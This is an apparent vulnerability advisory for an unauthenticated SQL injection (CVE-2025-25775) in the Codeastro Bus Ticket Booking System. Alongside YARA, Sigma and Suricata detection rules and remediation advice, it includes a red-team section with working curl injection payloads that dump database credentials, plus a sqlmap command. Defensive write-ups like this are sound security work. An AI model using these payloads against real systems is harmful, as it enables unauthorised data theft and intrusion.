CVE-2025-25775

Executive Summary

CVE-2025-25775 is a critical unauthenticated SQL injection vulnerability in the Codeastro Bus Ticket Booking System v1.0. The flaw resides in the kodetiket parameter of the /BusTicket-CI/tiket/cekorder endpoint, allowing remote attackers to execute arbitrary SQL commands without authentication. Given the CVSS base score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), this vulnerability poses a severe risk to confidentiality, integrity, and availability. The vendor has not released a patch, and no official advisory exists. Public proof-of-concept code is available, increasing the likelihood of exploitation in the wild.

Supply Chain & Package Security

This is a standalone PHP/CodeIgniter application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• EPSS Score: 0.0% (low probability of exploitation in the next 30 days, but public PoC increases risk)
• Threat Level: Critical – immediate remediation required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the kodetiket parameter of the cekorder function within the tiket controller. The application uses CodeIgniter 3.x with active record or raw queries that fail to sanitize user input. The vulnerable code likely resembles:

$kodetiket = $this->input->get('kodetiket');
$query = $this->db->query("SELECT * FROM orders WHERE kode_tiket = '$kodetiket'");

An attacker can inject SQL payloads such as:

' OR '1'='1' -- -

This bypasses authentication and returns all records from the orders table. Further exploitation can extract database credentials, modify data, or execute system commands via xp_cmdshell (if SQL Server) or INTO OUTFILE (if MySQL).

Vulnerable vs. Patched Code

Vulnerable Code (v1.0):

// application/controllers/Tiket.php
public function cekorder() {
    $kodetiket = $this->input->get('kodetiket');
    $result = $this->db->query("SELECT * FROM orders WHERE kode_tiket = '$kodetiket'");
    // ...
}

Patched Code (hypothetical):

// application/controllers/Tiket.php
public function cekorder() {
    $kodetiket = $this->input->get('kodetiket');
    $this->db->where('kode_tiket', $kodetiket);
    $result = $this->db->get('orders');
    // OR use parameterized query:
    $result = $this->db->query("SELECT * FROM orders WHERE kode_tiket = ?", array($kodetiket));
}

The patched version uses CodeIgniter’s Query Builder or parameterized queries, which automatically escape input.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Codeastro Bus Ticket Booking System v1.0
• Network access to the /BusTicket-CI/tiket/cekorder endpoint

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/BusTicket-CI/tiket/cekorder?kodetiket=test"
   

2. Confirm SQL injection:

   curl "http://target.com/BusTicket-CI/tiket/cekorder?kodetiket=test'"
   

   If an error is returned (e.g., MySQL syntax error), the endpoint is vulnerable.

3. Extract database version:

   curl "http://target.com/BusTicket-CI/tiket/cekorder?kodetiket=' UNION SELECT @@version,2,3-- -"
   

4. Dump credentials (example for MySQL):

   curl "http://target.com/BusTicket-CI/tiket/cekorder?kodetiket=' UNION SELECT user,password,3 FROM mysql.user-- -"
   

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/BusTicket-CI/tiket/cekorder?kodetiket=test" --batch --dbs

Lab Setup:

• Download vulnerable application from Codeastro or use a Docker image.
• Deploy on a local LAMP stack (Apache, MySQL, PHP 7.x).
• Ensure mod_rewrite is enabled for CodeIgniter.

Blue Team

Detection Steps:

1. Monitor web server logs for abnormal kodetiket parameter values containing SQL keywords (UNION, SELECT, OR, --).
2. Deploy WAF rules to block SQL injection patterns.
3. Use the detection rules below.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /BusTicket-CI/tiket/cekorder with kodetiket containing SQL metacharacters (', ", --, #, /*).
  • Outbound database connections from the web server to unknown IPs (data exfiltration).
• File IOCs:
  • Unexpected files in /var/www/html/ (e.g., .sql dumps, webshells).
• Log IOCs:
  • Web server logs showing 400 or 500 errors on the vulnerable endpoint.
  • Database logs showing UNION or INTO OUTFILE queries.

Detection Engineering

YARA Rule

rule CVE_2025_25775_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-25775 in Codeastro Bus Ticket Booking System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25775"
    strings:
        $s1 = "kodetiket=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR 1=1" nocase
        $s5 = "--" nocase
        $s6 = "/BusTicket-CI/tiket/cekorder" nocase
    condition:
        all of ($s1, $s6) and 1 of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-25775 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Codeastro Bus Ticket Booking System
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-25775
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/BusTicket-CI/tiket/cekorder"
        cs-uri-query|contains|all:
            - "kodetiket="
        cs-uri-query|contains|any:
            - "'"
            - "UNION"
            - "SELECT"
            - "OR 1=1"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of special characters in ticket codes (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-25775 SQL Injection Attempt";
    flow:to_server,established;
    content:"/BusTicket-CI/tiket/cekorder"; http_uri;
    content:"kodetiket="; http_uri;
    pcre:"/(%27|%22|UNION|SELECT|OR\s+1=1|--)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-25775;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable application from the internet if possible.
2. Apply virtual patching via WAF (e.g., ModSecurity with OWASP CRS).
3. Upgrade to a patched version if the vendor releases one; otherwise, consider migrating to a different booking system.

Long-Term Fix:

• Replace all raw SQL queries with parameterized statements or CodeIgniter’s Query Builder.
• Implement input validation (allow only alphanumeric characters for ticket codes).
• Conduct a full security audit of the application.

Workaround:

• Disable the /BusTicket-CI/tiket/cekorder endpoint in .htaccess:

  RewriteRule ^BusTicket-CI/tiket/cekorder - [F,L]
  

Valters IT